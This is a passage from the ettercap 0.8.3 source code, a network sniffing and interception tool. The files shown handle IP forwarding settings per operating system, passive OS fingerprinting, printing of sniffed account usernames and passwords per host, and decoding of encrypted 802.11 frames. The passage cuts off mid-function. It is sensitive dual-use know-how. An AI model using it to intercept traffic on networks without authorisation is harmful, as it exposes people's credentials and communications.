ifr; /* open the socket to work on */ sock = socket(PF_INET, SOCK_DGRAM, 0); if (sock == -1) FATAL_ERROR("Unable to open socket on interface for MTU query\n"); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name)); /* get the MTU */ if ( ioctl(sock, SIOCGIFMTU, &ifr) < 0) { DEBUG_MSG("get_iface_mtu: MTU FAILED... assuming 1500"); mtu = 1500; } else { DEBUG_MSG("get_iface_mtu: %d", ifr.ifr_mtu); mtu = ifr.ifr_mtu; } close(sock); return mtu; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/os/ec_cygwin.c0000644000175000017500000000716613505247364016531 0ustar koeppeakoeppea/* ettercap -- cygwin specific functions This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include static int saved_status; static HKEY handle; /*******************************************/ void disable_ip_forward(void) { long Status; #ifdef WIN9X DWORD dim = 2; char IpForwardSz[2]; #else DWORD dim = 4; #endif DWORD value = 3; Status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, #ifdef WIN9X TEXT("SYSTEM\\CurrentControlSet\\Services\\VxD\\Mstcp"), #else TEXT("SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters"), #endif 0, KEY_READ|KEY_SET_VALUE, &handle); #ifdef WIN9X Status = RegQueryValueEx(handle, TEXT("EnableRouting"), NULL, NULL, (LPBYTE)IpForwardSz, &dim); value = IpForwardSz[0]-'0'; #else Status = RegQueryValueEx(handle, TEXT("IPEnableRouter"), NULL, NULL, (LPBYTE)&value, &dim); #endif DEBUG_MSG("Inet_DisableForwarding -- previous value %d", (int)value); if (value == 0) { /* if forward is already 0 */ return; } saved_status = value; value = 0; #ifdef WIN9X IpForwardSz[0] = value + '0'; IpForwardSz[1] = '\0'; Status = RegSetValueEx(handle, TEXT("EnableRouting"), 0, REG_SZ, (LPBYTE)IpForwardSz, dim); #else Status = RegSetValueEx(handle, TEXT("IPEnableRouter"), 0, REG_DWORD, (LPBYTE)&value, dim); #endif if (Status != 0) { fprintf(stderr, "\n\nRegSetValueEx() | ERROR %ld\n\n", Status); fprintf(stderr, "Please manually disable ip forwarding\n"); #ifdef WIN9X fprintf(stderr, "set to 0 the HKLM\\SYSTEM\\CurrentControlSet\\Services\\VxD\\Mstcp\\EnableRouting\n\n"); #else fprintf(stderr, "set to 0 the HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter\n\n"); #endif exit(-1); } atexit(restore_ip_forward); atexit(regain_privs_atexit); } void restore_ip_forward(void) { #ifdef WIN9X DWORD dim = 2; char IpForwardSz[2]; #else DWORD dim = 4; #endif /* the handle was already opened in disable_ip_forward */ DEBUG_MSG("ATEXIT: restore_ip_forward: retoring to value %d", saved_status); #ifdef WIN9X IpForwardSz[0] = saved_status + '0'; IpForwardSz[1] = '\0'; RegSetValueEx(handle, TEXT("EnableRouting"), 0, REG_SZ, (LPBYTE)IpForwardSz, dim); #else RegSetValueEx(handle, TEXT("IPEnableRouter"), 0, REG_DWORD, (LPBYTE)&saved_status, dim); #endif RegCloseKey(handle); } #ifdef WITH_IPV6 /* * empty wrapper functions until IPv6 support for Windows */ void disable_ipv6_forward(void) { DEBUG_MSG ("disable_ipv6_forward (no-op)\n"); } void restore_ipv6_forward(void) { DEBUG_MSG ("restore_ipv6_forward (no-op)\n"); } #endif /* * get the MTU parameter from the interface */ u_int16 get_iface_mtu(const char *iface) { int mtu = 1500; NOT_IMPLEMENTED(); return mtu; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/os/ec_darwin.c0000644000175000017500000000764713505247364016521 0ustar koeppeakoeppea/* ettercap -- darwin specific functions This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include static int saved_status; #ifdef WITH_IPV6 static int saved_status_v6; #endif /*******************************************/ void disable_ip_forward(void) { int mib[4]; int val = 0; size_t len; mib[0] = CTL_NET; mib[1] = PF_INET; mib[2] = IPPROTO_IP; mib[3] = IPCTL_FORWARDING; len = sizeof(saved_status); if( (sysctl(mib, 4, &saved_status, &len, &val, sizeof(val))) == -1) ERROR_MSG("sysctl() | net.inet.ip.forwarding"); DEBUG_MSG("disable_ip_forward | net.inet.ip.forwarding = %d old_value = %d\n", val, saved_status); atexit(restore_ip_forward); atexit(regain_privs_atexit); } void restore_ip_forward(void) { int mib[4]; mib[0] = CTL_NET; mib[1] = PF_INET; mib[2] = IPPROTO_IP; mib[3] = IPCTL_FORWARDING; /* no need to restore anything */ if (saved_status == 0) return; /* restore the old value */ if( (sysctl(mib, 4, NULL, NULL, &saved_status, sizeof(saved_status))) == -1) FATAL_ERROR("Please restore manually the value of net.inet.ip.forwarding to %d", saved_status); DEBUG_MSG("ATEXIT: restore_ip_forward | net.inet.ip.forwarding = %d\n", saved_status); } #ifdef WITH_IPV6 void disable_ipv6_forward(void) { int mib[4]; int val = 0; size_t len; mib[0] = CTL_NET; mib[1] = PF_INET6; mib[2] = IPPROTO_IPV6; mib[3] = IPV6CTL_FORWARDING; len = sizeof(saved_status_v6); if( (sysctl(mib, 4, &saved_status_v6, &len, &val, sizeof(val))) == -1) ERROR_MSG("sysctl() | net.inet6.ip6.forwarding"); DEBUG_MSG("disable_ipv6_forward | net.inet6.ip6.forwarding = %d old_value = %d\n", val, saved_status_v6); atexit(restore_ipv6_forward); } void restore_ipv6_forward(void) { int mib[4]; mib[0] = CTL_NET; mib[1] = PF_INET6; mib[2] = IPPROTO_IPV6; mib[3] = IPV6CTL_FORWARDING; /* no need to restore anything */ if (saved_status_v6 == 0) return; /* restore the old value */ if( (sysctl(mib, 4, NULL, NULL, &saved_status_v6, sizeof(saved_status_v6))) == -1) FATAL_ERROR("Please restore manually the value of net.inet6.ip6.forwarding to %d", saved_status_v6); DEBUG_MSG("ATEXIT: restore_ipv6_forward | net.inet6.ip6.forwarding = %d\n", saved_status_v6); } #endif /* * get the MTU parameter from the interface */ u_int16 get_iface_mtu(const char *iface) { int sock, mtu; struct ifreq ifr; /* open the socket to work on */ sock = socket(PF_INET, SOCK_DGRAM, 0); if (sock == -1) FATAL_ERROR("Unable to open socket on interface for MTU query\n"); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name)); /* get the MTU */ if ( ioctl(sock, SIOCGIFMTU, &ifr) < 0) { DEBUG_MSG("get_iface_mtu: MTU FAILED... assuming 1500"); mtu = 1500; } else { DEBUG_MSG("get_iface_mtu: %d", ifr.ifr_mtu); mtu = ifr.ifr_mtu; } close(sock); return mtu; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/os/ec_dummy.c0000644000175000017500000000155513505247364016360 0ustar koeppeakoeppea/* ettercap -- dummy module, only a workaround for Makefile.am This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /*******************************************/ /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/os/ec_gnu.c0000644000175000017500000000320713505247364016012 0ustar koeppeakoeppea/* ettercap -- GNU hurd specific functions This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* XXX GNU/hurd seems to be NOT supported at this point See https://github.com/Ettercap/ettercap/issues/151 http://www.mail-archive.com/debian-hurd@lists.debian.org/msg21345.html These functions are just "stubs" to allow the package build for hurd patches are welcome! */ #include void disable_interface_offload(void); /*******************************************/ void disable_ip_forward(void) { DEBUG_MSG ("disable_ip_forward (no-op)\n"); } void restore_ip_forward(void) { DEBUG_MSG ("restore_ip_forward (no-op)\n"); } #ifdef WITH_IPV6 void disable_ipv6_forward(void) { DEBUG_MSG ("disable_ipv6_forward (no-op)\n"); } void restore_ipv6_forward(void) { DEBUG_MSG ("restore_ipv6_forward (no-op)\n"); } #endif u_int16 get_iface_mtu(const char *iface) { (void) iface; return 0; } void disable_interface_offload(void) { } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_fingerprint.c0000644000175000017500000002232113505247364017125 0ustar koeppeakoeppea/* ettercap -- passive TCP finterprint module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #define LOAD_ENTRY(p,h,v) do { \ SAFE_CALLOC((p), 1, sizeof(struct entry)); \ memcpy((p)->finger, h, FINGER_LEN); \ (p)->finger[FINGER_LEN] = '\0'; \ (p)->os = strdup (v); \ (p)->os[strlen(p->os)-1] = '\0'; \ } while (0) /* globals */ static SLIST_HEAD(, entry) finger_head; struct entry { char finger[FINGER_LEN+1]; char *os; SLIST_ENTRY(entry) next; }; /* protos */ static void fingerprint_discard(void); /*****************************************/ static void fingerprint_discard(void) { struct entry *l; while (SLIST_FIRST(&finger_head) != NULL) { l = SLIST_FIRST(&finger_head); SLIST_REMOVE_HEAD(&finger_head, next); SAFE_FREE(l->os); SAFE_FREE(l); } DEBUG_MSG("ATEXIT: fingerprint_discard"); return; } int fingerprint_init(void) { struct entry *p; struct entry *last = NULL; int i; char line[128]; char os[OS_LEN+1]; char finger[FINGER_LEN+1]; char *ptr; FILE *f; i = 0; f = open_data("share", TCP_FINGERPRINTS, FOPEN_READ_TEXT); ON_ERROR(f, NULL, "Cannot open %s", TCP_FINGERPRINTS); while (fgets(line, 128, f) != 0) { if ( (ptr = strchr(line, '#')) ) *ptr = 0; /* skip 0 length line */ if (!strlen(line)) continue; strncpy(finger, line, FINGER_LEN); strncpy(os, line + FINGER_LEN + 1, OS_LEN); LOAD_ENTRY(p, finger, os); /* sort the list ascending */ if (last == NULL) SLIST_INSERT_HEAD(&finger_head, p, next); else SLIST_INSERT_AFTER(last, p, next); /* set the last entry */ last = p; /* count the fingerprints */ i++; } DEBUG_MSG("fingerprint_init -- %d fingers loaded", i); USER_MSG("%4d tcp OS fingerprint\n", i); fclose(f); atexit(fingerprint_discard); return i; } /* * search in the database for a given fingerprint */ int fingerprint_search(const char *f, char *dst) { struct entry *l; //Do not process if length is invalid if (!strcmp(f, "") || strlen(f) != FINGER_LEN) { strncpy(dst, "UNKNOWN", 8); return E_SUCCESS; } /* if the fingerprint matches, copy it in the dst and * return E_SUCCESS. * if it is not found, copy the next finger in dst * and return -E_NOTFOUND, it is the nearest fingerprint */ SLIST_FOREACH(l, &finger_head, next) { /* this is exact match */ if ( memcmp(l->finger, f, FINGER_LEN) == 0) { strncpy(dst, l->os, OS_LEN+1); return E_SUCCESS; } /* * if not found seach with wildcalderd MSS * but he same WINDOW size */ if ( memcmp(l->finger, f, FINGER_LEN) > 0) { /* the window field is FINGER_MSS bytes */ char win[FINGER_MSS]; char pattern[FINGER_LEN+1]; /* the is the next in the list */ strncpy(dst, l->os, OS_LEN+1); strncpy(win, f, FINGER_MSS); win[FINGER_MSS-1] = '\0'; /* pattern will be something like: * * 0000:*:TT:WS:0:0:0:0:F:LT */ snprintf(pattern, FINGER_LEN+1, "%s:*:%s", win, f + FINGER_TTL); /* search for equal WINDOW but wildcarded MSS */ while (l != SLIST_END(&finger_head) && !strncmp(l->finger, win, 4)) { if (match_pattern(l->finger, pattern)) { /* save the nearest one (wildcarded MSS) */ strncpy(dst, l->os, OS_LEN+1); return -E_NOTFOUND; } l = SLIST_NEXT(l, next); } return -E_NOTFOUND; } } if(EC_GBL_CONF->submit_fingerprint) fingerprint_submit(f, "Unknown"); return -E_NOTFOUND; } /* * initialize the fingerprint string */ void fingerprint_default(char *finger) { /* * initialize the fingerprint * * WWWW:_MSS:TT:WS:S:N:D:T:F:LT */ strncpy(finger,"0000:_MSS:TT:WS:0:0:0:0:F:LT", 29); } /* * add a parameter to the finger string */ void fingerprint_push(char *finger, int param, int value) { char tmp[10]; int lt_old = 0; ON_ERROR(finger, NULL, "finger_push used on NULL string !!"); switch (param) { case FINGER_WINDOW: snprintf(tmp, sizeof(tmp), "%04X", value); strncpy(finger + FINGER_WINDOW, tmp, 5); break; case FINGER_MSS: snprintf(tmp, sizeof(tmp), "%04X", value); strncpy(finger + FINGER_MSS, tmp, 5); break; case FINGER_TTL: snprintf(tmp, sizeof(tmp), "%02X", TTL_PREDICTOR(value)); strncpy(finger + FINGER_TTL, tmp, 3); break; case FINGER_WS: snprintf(tmp, sizeof(tmp), "%02X", value); strncpy(finger + FINGER_WS, tmp, 3); break; case FINGER_SACK: snprintf(tmp, sizeof(tmp), "%d", value); strncpy(finger + FINGER_SACK, tmp, 2); break; case FINGER_NOP: snprintf(tmp, sizeof(tmp), "%d", value); strncpy(finger + FINGER_NOP, tmp, 2); break; case FINGER_DF: snprintf(tmp, sizeof(tmp), "%d", value); strncpy(finger + FINGER_DF, tmp, 2); break; case FINGER_TIMESTAMP: snprintf(tmp, sizeof(tmp), "%d", value); strncpy(finger + FINGER_TIMESTAMP, tmp, 2); break; case FINGER_TCPFLAG: if (value == 1) strncpy(finger + FINGER_TCPFLAG, "A", 2); else strncpy(finger + FINGER_TCPFLAG, "S", 2); break; case FINGER_LT: /* * since the LENGTH is the sum of the IP header * and the TCP header, we have to calculate it * in two steps. (decoders are unaware of other layers) */ lt_old = strtoul(finger + FINGER_LT, NULL, 16); snprintf(tmp, sizeof(tmp), "%02X", value + lt_old); strncpy(finger + FINGER_LT, tmp, 3); break; } } /* * round the TTL to the nearest power of 2 (ceiling) */ u_int8 TTL_PREDICTOR(u_int8 x) { register u_int8 i = x; register u_int8 j = 1; register u_int8 c = 0; do { c += i & 1; j <<= 1; } while ( i >>= 1 ); if ( c == 1 ) return x; else return ( j ? j : 0xff ); } /* * submit a fingerprint to the ettercap website */ int fingerprint_submit(const char *finger, char *os) { int sock; char host[] = "ettercap.sourceforge.net"; char page[] = "/fingerprint.php"; char getmsg[1024]; char *os_encoded; size_t i, os_enclen; memset(getmsg, 0, sizeof(getmsg)); /* some sanity checks */ if (strlen(finger) > FINGER_LEN || strlen(os) > OS_LEN) return -E_INVALID; USER_MSG("Connecting to http://%s...\n", host); /* prepare the socket */ sock = open_socket(host, 80); switch(sock) { case -E_NOADDRESS: FATAL_MSG("Cannot resolve %s", host); break; case -E_FATAL: FATAL_MSG("Cannot create the socket"); break; case -E_TIMEOUT: FATAL_MSG("Connect timeout to %s on port 80", host); break; case -E_INVALID: FATAL_MSG("Error connecting to %s on port 80", host); break; } os_encoded = strdup(os); /* sanitize the os (encode the ' ' to '+') */ os_enclen = strlen(os_encoded); for (i = 0; i < os_enclen; i++) if (os_encoded[i] == ' ') os_encoded[i] = '+'; /* prepare the HTTP request */ snprintf(getmsg, sizeof(getmsg), "POST %s?finger=%s&os=%s HTTP/1.1\r\n" "Host: %s\r\n" "Accept: */*\r\n" "User-Agent: %s (%s)\r\n" "\r\n", page, finger, os_encoded, host, EC_GBL_PROGRAM, EC_GBL_VERSION ); SAFE_FREE(os_encoded); USER_MSG("Submitting the fingerprint to %s...\n", page); /* send the request to the server */ socket_send(sock, (const u_char*)getmsg, strlen(getmsg)); DEBUG_MSG("fingerprint_submit - SEND \n\n%s\n\n", getmsg); /* ignore the server response */ close_socket(sock); USER_MSG("New fingerprint submitted to the ettercap website...\n"); return E_SUCCESS; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ettercap.rc0000644000175000017500000000207113505247364016120 0ustar koeppeakoeppea#include #include "../include/ec_version.h" LANGUAGE 0x09,0x01 ETTERCAP_ICON ICON "contrib/nsis/eNG.ico" #define RC_VERSION EC_VERSION_MAJOR, EC_VERSION_MINOR, EC_VERSION_REVISION, 0 VS_VERSION_INFO VERSIONINFO FILEVERSION RC_VERSION PRODUCTVERSION RC_VERSION FILEFLAGSMASK 0x3FL #ifdef DEBUG FILEFLAGS 1 #else FILEFLAGS 0 #endif FILEOS VOS__WINDOWS32 FILETYPE VFT_DLL FILESUBTYPE 0x0L BEGIN BLOCK "StringFileInfo" BEGIN BLOCK "040904b0" BEGIN VALUE "CompanyName", "The EtterCap community, http://ettercap.sourceforge.net/\0" VALUE "FileDescription", "EtterCap sniffer\0" VALUE "FileVersion", EC_VERSION "\0" VALUE "InternalName", "ettercap-NG\0" VALUE "OriginalFilename", "ettercap.exe\0" VALUE "ProductName", "The EtterCap sniffer\0" VALUE "ProductVersion", EC_VERSION "\0" VALUE "LegalCopyright", "Copyright " EC_COPYRIGHT " " EC_AUTHORS "\0" END END BLOCK "VarFileInfo" BEGIN VALUE "Translation", 0x409, 1200 END END ettercap-0.8.3/src/ec_passive.c0000644000175000017500000001733613505247364016262 0ustar koeppeakoeppea/* ettercap -- passive information handling module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include /************************************************/ /* * the strategy for open port discovery is: * * if the port is less than 1024, it is open at high probability * * if it is a TCP packet, we can rely on the tcp flags. * so syn+ack packet are coming from an open port. * * as a last resource, look in the registered dissector table. * if a port is registered, it might be opened. * */ int is_open_port(u_int8 proto, u_int16 port, u_int8 flags) { switch (proto) { case NL_TYPE_TCP: #if 0 /* detect priviledged port */ if (ntohs(po->L4.src) > 0 && ntohs(po->L4.src) < 1024 ) return 1; #endif /* SYN+ACK packet are coming from open ports */ if ( (flags & TH_SYN) && (flags & TH_ACK) ) return 1; break; case NL_TYPE_UDP: /* * we cannot determine if the port is open or not... * suppose that all priveledged port used are open. */ if (ntohs(port) > 0 && ntohs(port) < 1024 ) return 1; /* look up in the table */ if ( get_decoder(APP_LAYER_UDP, ntohs(port)) != NULL) return 1; break; } return 0; } /* * prints the infos of a single host */ void print_host(struct host_profile *h) { struct open_port *o; struct active_user *u; char tmp[MAX_ASCII_ADDR_LEN]; char os[OS_LEN+1]; memset(os, 0, sizeof(os)); fprintf(stdout, "==================================================\n"); fprintf(stdout, " IP address : %s \n", ip_addr_ntoa(&h->L3_addr, tmp)); if (strcmp(h->hostname, "")) fprintf(stdout, " Hostname : %s \n", h->hostname); #ifdef HAVE_GEOIP if (EC_GBL_CONF->geoip_support_enable) fprintf(stdout, " Location : %s \n", geoip_country_by_ip(&h->L3_addr)); #endif fprintf(stdout, "\n"); if (h->type & FP_HOST_LOCAL || h->type == FP_UNKNOWN) { fprintf(stdout, " MAC address : %s \n", mac_addr_ntoa(h->L2_addr, tmp)); fprintf(stdout, " MANUFACTURER : %s \n\n", manuf_search((const char*)h->L2_addr)); } fprintf(stdout, " DISTANCE : %d \n", h->distance); if (h->type & FP_GATEWAY) fprintf(stdout, " TYPE : GATEWAY\n\n"); else if (h->type & FP_HOST_LOCAL) fprintf(stdout, " TYPE : LAN host\n\n"); else if (h->type & FP_ROUTER) fprintf(stdout, " TYPE : REMOTE ROUTER\n\n"); else if (h->type & FP_HOST_NONLOCAL) fprintf(stdout, " TYPE : REMOTE host\n\n"); else if (h->type == FP_UNKNOWN) fprintf(stdout, " TYPE : unknown\n\n"); fprintf(stdout, " FINGERPRINT : %s\n", h->fingerprint); if (fingerprint_search((const char*)h->fingerprint, os) == E_SUCCESS) fprintf(stdout, " OPERATING SYSTEM : %s \n\n", os); else { fprintf(stdout, " OPERATING SYSTEM : unknown fingerprint (please submit it) \n"); fprintf(stdout, " NEAREST ONE IS : %s \n\n", os); } LIST_FOREACH(o, &(h->open_ports_head), next) { fprintf(stdout, " PORT : %s %d | %s \t[%s]\n", (o->L4_proto == NL_TYPE_TCP) ? "TCP" : "UDP" , ntohs(o->L4_addr), service_search(o->L4_addr, o->L4_proto), (o->banner) ? o->banner : ""); LIST_FOREACH(u, &(o->users_list_head), next) { if (u->failed) fprintf(stdout, " ACCOUNT : * %s / %s (%s)\n", u->user, u->pass, ip_addr_ntoa(&u->client, tmp)); else fprintf(stdout, " ACCOUNT : %s / %s (%s)\n", u->user, u->pass, ip_addr_ntoa(&u->client, tmp)); if (u->info) fprintf(stdout, " INFO : %s\n\n", u->info); else fprintf(stdout, "\n"); } fprintf(stdout, "\n"); } fprintf(stdout, "\n==================================================\n\n"); } /* * prints the infos of a single host in XML format */ void print_host_xml(struct host_profile *h) { struct open_port *o; struct active_user *u; char tmp[MAX_ASCII_ADDR_LEN]; char os[OS_LEN+1]; memset(os, 0, sizeof(os)); fprintf(stdout, "\t\n", ip_addr_ntoa(&h->L3_addr, tmp)); if (strcmp(h->hostname, "")) fprintf(stdout, "\t\t%s\n", h->hostname); #ifdef HAVE_GEOIP if (EC_GBL_CONF->geoip_support_enable) fprintf(stdout, "\t\t%s\n", geoip_country_by_ip(&h->L3_addr)); #endif if (h->type & FP_HOST_LOCAL || h->type == FP_UNKNOWN) { fprintf(stdout, "\t\t%s\n", mac_addr_ntoa(h->L2_addr, tmp)); fprintf(stdout, "\t\t%s\n", manuf_search((const char*)h->L2_addr)); } fprintf(stdout, "\t\t%d\n", h->distance); if (h->type & FP_GATEWAY) fprintf(stdout, "\t\tGATEWAY\n"); else if (h->type & FP_HOST_LOCAL) fprintf(stdout, "\t\tLAN host\n"); else if (h->type & FP_ROUTER) fprintf(stdout, "\t\tREMOTE ROUTER\n"); else if (h->type & FP_HOST_NONLOCAL) fprintf(stdout, "\t\tREMOTE host\n"); else if (h->type == FP_UNKNOWN) fprintf(stdout, "\t\tunknown\n"); if (strcmp((const char*)h->fingerprint, "")) { if (fingerprint_search((const char*)h->fingerprint, os) == E_SUCCESS) { fprintf(stdout, "\t\t%s\n", h->fingerprint); fprintf(stdout, "\t\t%s\n", os); } else { fprintf(stdout, "\t\t%s\n", h->fingerprint); fprintf(stdout, "\t\t%s\n", os); } } LIST_FOREACH(o, &(h->open_ports_head), next) { fprintf(stdout, "\t\t\n", (o->L4_proto == NL_TYPE_TCP) ? "tcp" : "udp", ntohs(o->L4_addr), service_search(o->L4_addr, o->L4_proto)); if (o->banner) fprintf(stdout, "\t\t\t%s\n", o->banner); LIST_FOREACH(u, &(o->users_list_head), next) { if (u->failed) fprintf(stdout, "\t\t\t\n", u->user); else fprintf(stdout, "\t\t\t\n", u->user); fprintf(stdout, "\t\t\t\t%s\n", u->user); fprintf(stdout, "\t\t\t\t%s\n", u->pass); fprintf(stdout, "\t\t\t\t%s\n", ip_addr_ntoa(&u->client, tmp)); if (u->info) fprintf(stdout, "\t\t\t\t%s\n", u->info); fprintf(stdout, "\t\t\t\n"); } fprintf(stdout, "\t\t\n"); } fprintf(stdout, "\t\n"); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/protocols/0000755000175000017500000000000013505247364016007 5ustar koeppeakoeppeaettercap-0.8.3/src/protocols/ec_wifi.c0000644000175000017500000002125013505247364017560 0ustar koeppeakoeppea/* ettercap -- 802.11b (wifi) decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include /* globals */ struct __attribute__ ((__packed__)) wifi_header { u_int8 type; #define WIFI_DATA 0x08 #define WIFI_BACON 0x80 #define WIFI_ACK 0xd4 u_int8 control; #define WIFI_STA_TO_STA 0x00 /* ad hoc mode */ #define WIFI_STA_TO_AP 0x01 #define WIFI_AP_TO_STA 0x02 #define WIFI_AP_TO_AP 0x03 #define WIFI_ENCRYPTED 0x40 u_int16 duration; /* * the following three fields has different meanings * depending on the control value... argh !! * * - WIFI_STA_TO_STA (ad hoc) * ha1 -> dst * ha2 -> src * ha3 -> bssid * - WIFI_STA_TO_AP * ha1 -> bssid * ha2 -> src * ha3 -> dst * - WIFI_AP_TO_AP * ha1 -> rx * ha2 -> tx * ha3 -> dst * ha4 -> src * - WIFI_AP_TO_STA * ha1 -> dst * ha2 -> bssid * ha3 -> src */ u_int8 ha1[ETH_ADDR_LEN]; u_int8 ha2[ETH_ADDR_LEN]; u_int8 ha3[ETH_ADDR_LEN]; u_int16 seq; /* this field is present only if control is WIFI_AP_TO_AP */ /* u_int8 ha4[ETH_ADDR_LEN]; */ /* this field is present only when WIFI_DATA and WIFI_BACON are set (802.11 QoS Data) */ /* u_int6 qos; */ }; struct __attribute__ ((__packed__)) llc_header { u_int8 dsap; u_int8 ssap; u_int8 control; u_int8 org_code[3]; u_int16 proto; }; /* encapsulated ethernet */ static u_int8 WIFI_ORG_CODE[3] = {0x00, 0x00, 0x00}; /* protos */ FUNC_DECODER(decode_wifi); FUNC_ALIGNER(align_wifi); void wifi_init(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init wifi_init(void) { add_decoder(LINK_LAYER, IL_TYPE_WIFI, decode_wifi); add_aligner(IL_TYPE_WIFI, align_wifi); } FUNC_DECODER(decode_wifi) { struct wifi_header *wifi = NULL; struct llc_header *llc = NULL; struct wep_header *wep = NULL; struct wpa_header *wpa = NULL; FUNC_DECODER_PTR(next_decoder) = NULL; u_char *wifi_end = NULL; u_char enc_schema; DECODED_LEN = sizeof(struct wifi_header); /* if the packet has an FCS at the end, subtract it to the size of the data to be analyzed */ if ((PACKET->L2.flags & PO_L2_FCS)) { DECODE_DATALEN -= 4; } /* get the ieee802.11 header */ wifi = (struct wifi_header *)DECODE_DATA; wifi_end = (u_char *)wifi + sizeof(struct wifi_header); /* we are interested only in wifi data packets */ if (!(wifi->type & WIFI_DATA)) { DEBUG_MSG("WIFI bacon"); return NULL; } /* * capture only "complete" and not retransmitted packets * we don't want to deal with fragments (0x04) or retransmission (0x08) */ switch (wifi->control & 0x03) { case WIFI_STA_TO_STA: memcpy(PACKET->L2.src, wifi->ha2, ETH_ADDR_LEN); memcpy(PACKET->L2.dst, wifi->ha1, ETH_ADDR_LEN); break; case WIFI_STA_TO_AP: memcpy(PACKET->L2.src, wifi->ha2, ETH_ADDR_LEN); memcpy(PACKET->L2.dst, wifi->ha3, ETH_ADDR_LEN); break; case WIFI_AP_TO_STA: memcpy(PACKET->L2.src, wifi->ha3, ETH_ADDR_LEN); memcpy(PACKET->L2.dst, wifi->ha1, ETH_ADDR_LEN); break; case WIFI_AP_TO_AP: /* there is one more field (ha4) in this case */ memcpy(PACKET->L2.src, (char *)(wifi + 1), ETH_ADDR_LEN); memcpy(PACKET->L2.dst, wifi->ha3, ETH_ADDR_LEN); if (wifi->control & WIFI_ENCRYPTED) { // XXX - implement AP to AP handling in encryption_ccmp DEBUG_MSG("WIFI: encrypted packets (AP to AP) not supported"); return NULL; } /* increase the end of the header accordingly */ wifi_end += ETH_ADDR_LEN; DECODED_LEN += ETH_ADDR_LEN; break; default: return NULL; } /* * if the packet is marked as a BACON, it means that it is a DATA + BACON * used in (802.11 QoS Data) * we have to skip the 2 byte QoS field in the header */ if (wifi->type & WIFI_BACON) { wifi_end += sizeof(u_int16); DECODED_LEN += sizeof(u_int16); } /* * check the type of encryption * the third byte of the IV contains the info */ if (((*(wifi_end + 3) >> 5) & 0x01) == 0x01) { enc_schema = WIFI_WPA; } else { enc_schema = WIFI_WEP; } /* * the frame is encrypted. * check if the provided key is compatible with the schema */ if (wifi->control & WIFI_ENCRYPTED && enc_schema == WIFI_WEP && EC_GBL_WIFI->wifi_schema == WIFI_WEP) { DEBUG_MSG("%s: encrypted packet wep", __FUNCTION__); /* get the WEP header */ wep = (struct wep_header *)wifi_end; DECODED_LEN += sizeof(struct wep_header); if (DECODED_LEN >= DECODE_DATALEN) { return NULL; } if 